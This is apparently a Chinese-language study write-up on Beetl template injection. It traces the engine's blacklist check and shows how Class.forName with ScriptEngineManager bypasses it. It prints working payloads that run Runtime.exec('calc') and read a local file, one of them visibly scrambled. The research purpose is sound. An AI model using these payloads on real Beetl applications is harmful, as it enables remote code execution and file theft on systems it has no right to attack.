beetl 模板注入学习
beetl 模板注入学习
依赖
测试使用的依赖
1 | <dependency> |
语法
主要还是参考官方文档
注意到这个
任意方法调用
写一个demo看看是怎么阻止恶意方法调用的
1 | package org.example.beetl; |
在template.render下断点 看看哪里进行了过滤
在template的renderTo方法里面 设置了context的上下文环境 设置了加载了一些共享变量 当不存在ajax 的时候 自动调用program.execute(ctx); 进行渲染
这里走到run方法
run方法里面遍历执行了每一个成员 走到execute 方法
在execute方法里面调用了expression.evaluate 方法计算成员的值
一系列计算之后 走到checkPermit 检测这个类是否可以加载
然后再checkPermit 方法里面 调用了getNativeSecurity().permit 比较执行类
permit 方法比较简单 就是获取类 然后直接比较class是否在黑名单里面
黑名单很短 如下
1 | if (pkgName.startsWith("java.lang")) { |
这里被检测出来了 然后就直接抛出错误 不执行下去了
过滤类很少 可以试着用ClassLoader的命令执行方式绕过一下试一下
1 | @java.lang.ClassLoader.getSystemClassLoader().LoadClass('java.Lang.Runtime').getRuntime().exec('calc') |
依然过不去
问题出现在这一步
这里的经过递归 targetcls确实成功得到了我们需要的classloader
可以注意到 在执行是
1 | targetObj = ObjectUtil.invoke(targetObj, mf, args); |
这里的targetObj 为null 执行时会调用反射 尝试去执行我们的方法
每次执行结束之后 会获取此时getclass的class类 储存在targetCls内 进入下一次执行
后面寻找方法的ObjectMethodMatchConf mf = ObjectUtil.findMethod(targetCls, method, parameterType); 就是使用targetCls 寻找的 由于这个class不存在loadclass方法 所以显然不能找到这方法导致产生异常抛出
模板注入
还是有办法绕过的
1 | ${"javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc');")} .forName( |
调试下
首先获得的targetCls 的值是class 执行了forName 方法 通过反射获取这个类 然后尝试调用这个方法
这里反射获取了这个方法 执行
这里执行的结果 会返回给targetObj 也就是获取我们需要的类
这个时候已经成功获取js这个执行类了 同时不在黑名单里面 这个时候就可以正常执行这个类了
成功命令执行 弹出计算器
其中的调用栈如下
网上的绕过手段很多 就不细搞了
反思
尝试使用ClassLoader 执行命令失败 是因为ClassLoader是一个抽象类
在这里调用getSystemClassLoader()
返回的对象类型是 ClassLoader
,但实际的运行时类型通常是一个 ClassLoader
的具体实现类 这里返回了sun.misc.Launcher$AppClassLoader 使用这个类去尝试LoadClass 系统会提示找不到对应的方法 然后抛出
由于可以使用class#forname方法 意味着我们可以执行除了黑名单内的各种代码 例如文件读取
1 | String payload = "${@Class.forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var Files = java.nio.file.Files; var Paths = java.nio.file.Paths; var path = Paths.get('D:/1.txt'); var content = Files.readAllBytes(path); new java.lang.String(content);\")}"; |
后续
修复了 大致流程不变 添加了很多黑名单 3.16.0
1 | public boolean permit(Object resourceId, Class c, Object target, String method) { |
但是又爆出来一个CVE-2024-22533 网上没现成的poc 我能力不足也分析不出来 就先放着 之后出来了在学习